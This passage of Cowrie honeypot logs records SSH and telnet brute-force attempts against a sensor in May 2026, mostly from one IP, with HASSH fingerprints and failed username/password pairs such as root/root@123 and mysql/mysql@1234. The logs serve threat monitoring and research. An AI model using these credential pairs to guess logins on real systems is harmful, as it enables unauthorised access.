0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:06.813934Z","src_ip":"192.109.200.237","session":"bb9fc2331409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:07.065023Z","src_ip":"192.109.200.237","session":"bb9fc2331409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:08.151344Z","src_ip":"192.109.200.237","session":"bb9fc2331409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52718,"dst_ip":"159.203.135.109","dst_port":22,"session":"44ac104c34bf","protocol":"ssh","message":"New connection: 192.109.200.237:52718 (159.203.135.109:22) [session: 44ac104c34bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:10.100631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:10.106014Z","src_ip":"192.109.200.237","session":"44ac104c34bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:10.197170Z","src_ip":"192.109.200.237","session":"44ac104c34bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:10.502799Z","src_ip":"192.109.200.237","session":"44ac104c34bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:11.587548Z","src_ip":"192.109.200.237","session":"44ac104c34bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52726,"dst_ip":"159.203.135.109","dst_port":22,"session":"b26820171c0f","protocol":"ssh","message":"New connection: 192.109.200.237:52726 (159.203.135.109:22) [session: b26820171c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:13.425732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:13.435062Z","src_ip":"192.109.200.237","session":"b26820171c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:13.517960Z","src_ip":"192.109.200.237","session":"b26820171c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:13.763721Z","src_ip":"192.109.200.237","session":"b26820171c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06103038787842,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:14.584517Z","src_ip":"50.6.8.71","session":"fb0155d426a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:14.911895Z","src_ip":"192.109.200.237","session":"b26820171c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.523133993148804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:15.458212Z","src_ip":"50.6.8.71","session":"3527503b2a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52732,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd190730a0d4","protocol":"ssh","message":"New connection: 192.109.200.237:52732 (159.203.135.109:22) [session: dd190730a0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:16.709084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:16.713523Z","src_ip":"192.109.200.237","session":"dd190730a0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:16.798055Z","src_ip":"192.109.200.237","session":"dd190730a0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:17.226993Z","src_ip":"192.109.200.237","session":"dd190730a0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.173168897628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:18.259909Z","src_ip":"50.6.8.71","session":"18700c88b998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:18.315576Z","src_ip":"192.109.200.237","session":"dd190730a0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41920,"dst_ip":"10.17.0.5","dst_port":23,"session":"22163a039757","protocol":"telnet","message":"New connection: 50.6.8.71:41920 (10.17.0.5:23) [session: 22163a039757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:19.110069Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43736,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d8d92939f2","protocol":"ssh","message":"New connection: 192.109.200.237:43736 (159.203.135.109:22) [session: 48d8d92939f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:20.152267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:20.157306Z","src_ip":"192.109.200.237","session":"48d8d92939f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:20.239759Z","src_ip":"192.109.200.237","session":"48d8d92939f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:20.486056Z","src_ip":"192.109.200.237","session":"48d8d92939f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:21.572083Z","src_ip":"192.109.200.237","session":"48d8d92939f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.71879577636719,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:21.716395Z","src_ip":"50.6.8.71","session":"2def316236b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43738,"dst_ip":"159.203.135.109","dst_port":22,"session":"922be34c820b","protocol":"ssh","message":"New connection: 192.109.200.237:43738 (159.203.135.109:22) [session: 922be34c820b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:23.457991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:23.462975Z","src_ip":"192.109.200.237","session":"922be34c820b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:23.548084Z","src_ip":"192.109.200.237","session":"922be34c820b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:23.795655Z","src_ip":"192.109.200.237","session":"922be34c820b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41924,"dst_ip":"10.17.0.5","dst_port":23,"session":"4afaf3165f7b","protocol":"telnet","message":"New connection: 50.6.8.71:41924 (10.17.0.5:23) [session: 4afaf3165f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:24.407937Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c6961ce49a","protocol":"ssh","message":"New connection: 103.176.20.57:45696 (10.17.0.5:22) [session: 60c6961ce49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:24.944022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:24.950439Z","src_ip":"103.176.20.57","session":"60c6961ce49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:25.001160Z","src_ip":"192.109.200.237","session":"922be34c820b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:25.201981Z","src_ip":"103.176.20.57","session":"60c6961ce49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfytxrf","message":"login attempt [root/nfytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:25.962679Z","src_ip":"103.176.20.57","session":"60c6961ce49a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43746,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf67120875c","protocol":"ssh","message":"New connection: 192.109.200.237:43746 (159.203.135.109:22) [session: dbf67120875c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:26.693899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:26.698242Z","src_ip":"192.109.200.237","session":"dbf67120875c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:26.783679Z","src_ip":"192.109.200.237","session":"dbf67120875c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:27.200455Z","src_ip":"192.109.200.237","session":"dbf67120875c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:27.215360Z","src_ip":"103.176.20.57","session":"60c6961ce49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:28.286273Z","src_ip":"192.109.200.237","session":"dbf67120875c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57452,"dst_ip":"159.203.135.109","dst_port":22,"session":"031e4d1c93ce","protocol":"ssh","message":"New connection: 192.109.200.237:57452 (159.203.135.109:22) [session: 031e4d1c93ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:30.330076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:30.335890Z","src_ip":"192.109.200.237","session":"031e4d1c93ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha